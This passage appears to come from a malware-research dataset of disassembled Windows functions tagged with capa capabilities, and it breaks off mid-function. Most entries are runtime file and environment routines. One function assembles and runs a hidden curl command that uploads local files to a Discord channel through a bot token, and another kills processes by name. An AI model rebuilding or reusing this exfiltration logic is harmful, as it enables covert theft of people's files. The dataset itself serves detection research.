joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140151de4
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov rbx, rcx
test rcx, rcx
jne 0x140151e03
call fcn.14015f180
jmp 0x140151eb8
and qword [rbp - 0x30], 0
lea rcx, [rbp - 0x50]
and qword [rbp - 0x28], 0
xor edx, edx
and qword [rbp - 0x20], 0
and qword [rbp - 0x18], 0
and qword [rbp - 0x10], 0
mov byte [rbp - 8], 0
call fcn.14013a978
mov rax, qword [rbp - 0x48]
mov r9d, 0xfde9
cmp dword [rax + 0xc], r9d
jne 0x140151e4e
cmp byte [rbp - 0x38], 0
je 0x140151e83
mov rax, qword [rbp - 0x50]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140151e83
call fcn.14015abb4
test eax, eax
jne 0x140151e6f
cmp byte [rbp - 0x38], al
je 0x140151e67
mov rax, qword [rbp - 0x50]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140151e83
cmp byte [rbp - 0x38], 0
je 0x140151e80
mov rax, qword [rbp - 0x50]
and dword [rax + 0x3a8], 0xfffffffd
xor r9d, r9d
lea r8, [rbp + 0x10]
mov rcx, rbx
lea rdx, [rbp - 0x30]
call fcn.14014b584
test eax, eax
je 0x140151e9c
or ebx, 0xffffffff
jmp 0x140151ea7
mov rcx, qword [rbp - 0x20]
call fcn.14015f180
mov ebx, eax
cmp byte [rbp - 8], 0
je 0x140151eb6
mov rcx, qword [rbp - 0x20]
call fcn.140159fc0
mov eax, ebx
mov rbx, qword [rsp + 0x88]
add rsp, 0x70
pop rbp
ret

Function at 0x140153b40
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdx, qword [rcx + 0x10]
mov rbx, rcx
mov ecx, dword [rcx + 0x18]
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov edi, eax
test eax, eax
jne 0x140153b7b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1401533b0
call fcn.14015343c
mov eax, dword [rax]
jmp 0x140153bf2
cmp rdi, qword [rbx + 0x18]
ja 0x140153b87
mov qword [rbx + 0x20], rdi
jmp 0x140153bf0
cmp byte [rbx + 0x28], 0
lea rsi, [rdi + 1]
je 0x140153b9e
mov rcx, qword [rbx + 0x10]
call fcn.140159fc0
mov byte [rbx + 0x28], 0
lea rcx, [rdi*2 + 2]
call fcn.14015a834
mov qword [rbx + 0x10], rax
mov r8, rax
neg rax
mov edx, 0
sbb eax, eax
not eax
and eax, 0xc
cmove rdx, rsi
test eax, eax
sete cl
mov byte [rbx + 0x28], cl
mov qword [rbx + 0x18], rdx
test eax, eax
jne 0x140153bf2
mov ecx, dword [rbx + 0x18]
mov rdx, r8
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, eax
test rax, rax
je 0x140153b65
mov qword [rbx + 0x20], rax
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140155460
Capabilities:
Move file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x80
mov r14, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.14013a978
mov rax, qword [rbp - 0x58]
mov edi, 0xfde9
cmp dword [rax + 0xc], edi
jne 0x1401554ab
xor ebx, ebx
cmp byte [rbp - 0x48], bl
je 0x1401554df
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1401554df
call fcn.14015abb4
xor ebx, ebx
test eax, eax
jne 0x1401554cd
cmp byte [rbp - 0x48], bl
je 0x1401554c6
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
mov edi, 1
jmp 0x1401554df
cmp byte [rbp - 0x48], bl
je 0x1401554dd
mov rax, qword [rbp - 0x60]
and dword [rax + 0x3a8], 0xfffffffd
mov edi, ebx
mov r9d, edi
mov qword [rbp - 0x30], rbx
lea r8, [rbp + 0x30]
mov qword [rbp - 0x28], rbx
lea rdx, [rbp - 0x30]
mov qword [rbp - 0x20], rbx
mov rcx, rsi
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x10], rbx
mov byte [rbp - 8], bl
call fcn.14014b584
mov esi, eax
test eax, eax
je 0x14015551b
call fcn.14015343c
or edi, 0xffffffff
mov dword [rax], esi
jmp 0x140155574
mov r9d, edi
mov qword [rbp - 0x60], rbx
lea r8, [rbp + 0x30]
mov qword [rbp - 0x58], rbx
lea rdx, [rbp - 0x60]
mov qword [rbp - 0x50], rbx
mov rcx, r14
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
mov byte [rbp - 0x38], bl
call fcn.14014b584
mov edi, eax
test eax, eax
je 0x140155557
call fcn.14015343c
mov dword [rax], edi
or edi, 0xffffffff
jmp 0x140155566
mov rdx, qword [rbp - 0x50]
mov rcx, qword [rbp - 0x20]
call fcn.14015fc00
mov edi, eax
cmp byte [rbp - 0x38], bl
je 0x140155574
mov rcx, qword [rbp - 0x50]
call fcn.140159fc0
cmp byte [rbp - 8], bl
je 0x140155582
mov rcx, qword [rbp - 0x20]
call fcn.140159fc0
lea r11, [rsp + 0x80]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x140155ff8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140167c10
sub rsp, rax
mov rax, qword [0x1401f0010]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.14014e1b4
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x140156047
mov rax, rbp
jmp 0x14015614f
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x1f2da0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1401503e0
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x1f2da0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14015614b
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14015614b
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1401503e0
test rax, rax
js 0x14015614b
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14015614b
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14015613d
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14015613d
cmp byte [rcx], 0xd
jne 0x140156123
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140156132
cmp byte [rcx + 1], 0xa
jne 0x140156132
inc rcx
jmp 0x140156132
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x1f0180]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140156105
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14015614f
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140131ef0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14015f504
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14015f524
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1401533b0
or eax, 0xffffffff
jmp 0x14015f526
xor eax, eax
add rsp, 0x28
ret

Function at 0x14015f5c4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1401503e8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1401503e8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x14015f714
cmp rax, 0xffffffffffffffff
je 0x14015f714
xor edi, edi
test rbp, rbp
jle 0x14015f6bf
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14015d1fc
mov rbx, rax
test rax, rax
jne 0x14015f64c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x14015f6b5
mov edx, 0x8000
mov ecx, r14d
call fcn.1401536dc
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14014dea4
cmp eax, 0xffffffff
je 0x14015f695
cdqe
sub rbp, rax
test rbp, rbp
jg 0x14015f65c
mov edx, r15d
mov ecx, r14d
call fcn.1401536dc
jmp 0x14015f6b5
cmp byte [rsi + 0x38], dil
je 0x14015f6ac
cmp dword [rsi + 0x34], 5
jne 0x14015f6ac
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x14015f6b5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140159fc0
jmp 0x14015f728
jns 0x14015f728
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1401503e8
cmp rax, 0xffffffffffffffff
jne 0x14015f6e0
cmp byte [rsi + 0x30], dil
je 0x14015f728
mov edi, dword [rsi + 0x2c]
jmp 0x14015f728
mov ecx, r14d
call fcn.14015097c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14015f728
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x14015f728
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14015f721
mov eax, dword [rsi + 0x2c]
jmp 0x14015f726
mov eax, reloc.WS2_32.dll_shutdown
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1401503e8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14015f820
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14013a978
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14015f8aa
cmp byte [rbp - 0x21], r15b
je 0x14015f8a5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14015f8e0
call fcn.14015abb4
test eax, eax
jne 0x14015f8cc
cmp byte [rbp - 0x21], r15b
je 0x14015f8c4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14015f8e0
cmp byte [rbp - 0x21], r15b
je 0x14015f8dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14014b584
test eax, eax
jne 0x14015f980
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14013a978
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14015f91f
cmp byte [rbp - 0x21], r15b
je 0x14015f954
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14015f954
call fcn.14015abb4
test eax, eax
jne 0x14015f940
cmp byte [rbp - 0x21], r15b
je 0x14015f939
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14015f954
cmp byte [rbp - 0x21], r15b
je 0x14015f951
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14014b584
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14015f980
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14015f983
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14015f991
mov rcx, rdi
call fcn.140159fc0
cmp byte [rbp + 0x3f], r15b
je 0x14015f9a0
mov rcx, qword [rbp + 0x27]
call fcn.140159fc0
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14015fa94
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14015fac6
call fcn.14015343c
mov dword [rax], reloc.WS2_32.dll_shutdown
call fcn.140138aa8
jmp 0x14015fbe5
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14015fbe5
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14015fbe5
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14015faf5
lock or dword [rcx + 0x14], 0x10
jmp 0x14015fbe5
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14015fb09
call fcn.140165954
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.14014e1b4
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14014f610
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x14015fbd3
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14015fb9e
mov rcx, rsi
call fcn.14014e1b4
cmp eax, edi
je 0x14015fb89
mov rcx, rsi
call fcn.14014e1b4
cmp eax, 0xfffffffe
je 0x14015fb89
mov rcx, rsi
call fcn.14014e1b4
movsxd rbx, eax
lea r14, [0x1401f2da0]
mov rcx, rsi
sar rbx, 6
call fcn.14014e1b4
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x14015fb90
lea rdx, [0x1401f0420]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14015fb9e
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x14015fbc2
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x14015fbc2
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x14015fbc2
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14015fbe8
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x140160fec
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14016101c
xor eax, eax
jmp 0x1401610df
mov rbp, rbx
cmp word [rax], si
je 0x140161041
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140161028
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140161024
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14015a2f4
movsxd r14, eax
test eax, eax
jne 0x14016107f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140161015
mov rcx, r14
call fcn.14015a834
mov rdi, rax
test rax, rax
jne 0x140161098
xor ecx, ecx
call fcn.140159fc0
jmp 0x140161074
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14015a2f4
test eax, eax
jne 0x1401610c9
mov rcx, rdi
call fcn.140159fc0
jmp 0x1401610d3
xor ecx, ecx
call fcn.140159fc0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1401610fc
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140161183
mov rsi, rbx
cmp word [rax], bp
je 0x140161142
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14016112c
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140161128
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14015a834
mov rdi, rax
test rax, rax
je 0x140161170
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140134230
mov rbp, rdi
xor ecx, ecx
call fcn.140159fc0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140163f48
Capabilities:
Delete directory

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
test eax, eax
jne 0x140163f68
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1401533b0
or eax, 0xffffffff
jmp 0x140163f6a
xor eax, eax
add rsp, 0x28
ret
Function at 0x14001119f
Capabilities:
Terminate process

Disassembly:
jmp 0x1400141e0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x448
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xaa
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x468]
mov rax, qword [0x140025040]
xor rax, rbp
mov qword [rbp + 0x418], rax
lea rcx, [0x14002b0f7]
call fcn.1400115fa
nop
xor edx, edx
mov ecx, 0xf
call fcn.1400112c6
mov qword [rbp + 8], rax
mov dword [rbp + 0x30], 0x238
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp + 8]
call fcn.14001153c
test eax, eax
je 0x1400142ab
mov rdx, qword [rbp + 0x440]
lea rcx, [rbp + 0x5c]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x1400142a9
mov r8d, dword [rbp + 0x38]
xor edx, edx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x288], rax
cmp qword [rbp + 0x288], 0
je 0x1400142a9
xor edx, edx
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x288]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x1400142ab
jmp 0x140014241
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x140020000]
call fcn.1400114f1
mov rcx, qword [rbp + 0x418]
xor rcx, rbp
call fcn.1400112df
lea rsp, [rbp + 0x428]
pop rdi
pop rbp
ret

Function at 0x140011352
Capabilities:
Terminate process

Disassembly:
jmp 0x140017cf0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011424
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019040
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019060
xor al, al
jmp 0x1400190e1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019073
xor al, al
jmp 0x1400190e1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001909d
xor al, al
jmp 0x1400190e1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400190b1
xor al, al
jmp 0x1400190e1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400190c3
xor al, al
jmp 0x1400190e1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400190df
xor al, al
jmp 0x1400190e1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011541
Capabilities:
Check if file exists
Execute command
Get file attributes

Disassembly:
jmp 0x140015810
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x438
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x458]
mov rax, qword [0x140025040]
xor rax, rbp
mov qword [rbp + 0x408], rax
lea rcx, [0x14002b0f7]
call fcn.1400115fa
nop
mov rcx, qword [rbp + 0x430]
call fcn.14001108c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
je 0x140015a72
mov eax, dword [rbp + 4]
and eax, 0x10
test eax, eax
jne 0x140015a72
mov r8, qword [rbp + 0x440]
lea rdx, str.curl__X_POST__H__Authorization:_Bot
lea rcx, [rbp + 0x1e8]
call fcn.140011041
mov qword [rbp + 0x398], rax
mov rax, qword [rbp + 0x398]
mov qword [rbp + 0x3a0], rax
lea r8, str.___F__file_
mov rdx, qword [rbp + 0x3a0]
lea rcx, [rbp + 0x228]
call fcn.14001157d
mov qword [rbp + 0x3a8], rax
mov rax, qword [rbp + 0x3a8]
mov qword [rbp + 0x3b0], rax
mov r8, qword [rbp + 0x430]
mov rdx, qword [rbp + 0x3b0]
lea rcx, [rbp + 0x268]
call fcn.1400111f9
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x3c0], rax
lea r8, str.___F__content
mov rdx, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x2a8]
call fcn.14001157d
mov qword [rbp + 0x3c8], rax
mov rax, qword [rbp + 0x3c8]
mov qword [rbp + 0x3d0], rax
mov r8, qword [rbp + 0x448]
mov rdx, qword [rbp + 0x3d0]
lea rcx, [rbp + 0x2e8]
call fcn.1400111f9
mov qword [rbp + 0x3d8], rax
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x3e0], rax
lea r8, str.__https:__discord.com_api_v10_channels_
mov rdx, qword [rbp + 0x3e0]
lea rcx, [rbp + 0x328]
call fcn.14001157d
mov qword [rbp + 0x3e8], rax
mov rax, qword [rbp + 0x3e8]
mov qword [rbp + 0x3f0], rax
mov r8, qword [rbp + 0x438]
mov rdx, qword [rbp + 0x3f0]
lea rcx, [rbp + 0x368]
call fcn.1400111f9
mov qword [rbp + 0x3f8], rax
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x400], rax
lea r8, str._messages___nul_2_1
mov rdx, qword [rbp + 0x400]
lea rcx, [rbp + 0x28]
call fcn.14001157d
nop
lea rcx, [rbp + 0x368]
call fcn.140011113
nop
lea rcx, [rbp + 0x328]
call fcn.140011113
nop
lea rcx, [rbp + 0x2e8]
call fcn.140011113
nop
lea rcx, [rbp + 0x2a8]
call fcn.140011113
nop
lea rcx, [rbp + 0x268]
call fcn.140011113
nop
lea rcx, [rbp + 0x228]
call fcn.140011113
nop
lea rcx, [rbp + 0x1e8]
call fcn.140011113
nop
lea rcx, [rbp + 0x28]
call fcn.14001108c
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_system]
nop
lea rcx, [rbp + 0x28]
call fcn.140011113
nop
lea rcx, [rbp - 0x20]
lea rdx, [0x140020080]
call fcn.1400114f1
mov rcx, qword [rbp + 0x408]
xor rcx, rbp
call fcn.1400112df
lea rsp, [rbp + 0x418]
pop rdi
pop rbp
ret
Function at 0x140016e40
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011636
movzx eax, al
test eax, eax
jne 0x140016e60
mov ecx, 7
call fcn.1400114fb
nop
mov byte [rsp + 0x20], 0
call fcn.140011537
mov byte [rsp + 0x21], al
cmp dword [0x140025b78], 1
jne 0x140016e84
mov ecx, 7
call fcn.1400114fb
nop
jmp 0x140016edc
cmp dword [0x140025b78], 0
jne 0x140016ed7
mov dword [0x140025b78], 1
lea rdx, [0x14001f660]
lea rcx, [0x14001f330]
call fcn.1400112c1
test eax, eax
je 0x140016eb8
mov eax, 0xff
jmp 0x140016fe1
lea rdx, [0x14001f220]
lea rcx, [section..rdata]
call fcn.140011523
mov dword [0x140025b78], 2
jmp 0x140016edc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.1400114e7
call fcn.140011447
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140016f39
mov rcx, qword [rsp + 0x30]
call fcn.140011235
movzx eax, al
test eax, eax
je 0x140016f39
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x14002c020]
nop
call fcn.140011492
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140016f6d
mov rcx, qword [rsp + 0x38]
call fcn.140011235
movzx eax, al
test eax, eax
je 0x140016f6d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400115d7
nop
call fcn.140017090
mov dword [rsp + 0x28], eax
call fcn.140011424
movzx eax, al
test eax, eax
jne 0x140016f8c
mov ecx, dword [rsp + 0x28]
call fcn.140011073
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140016f9b
call fcn.1400115eb
nop
xor edx, edx
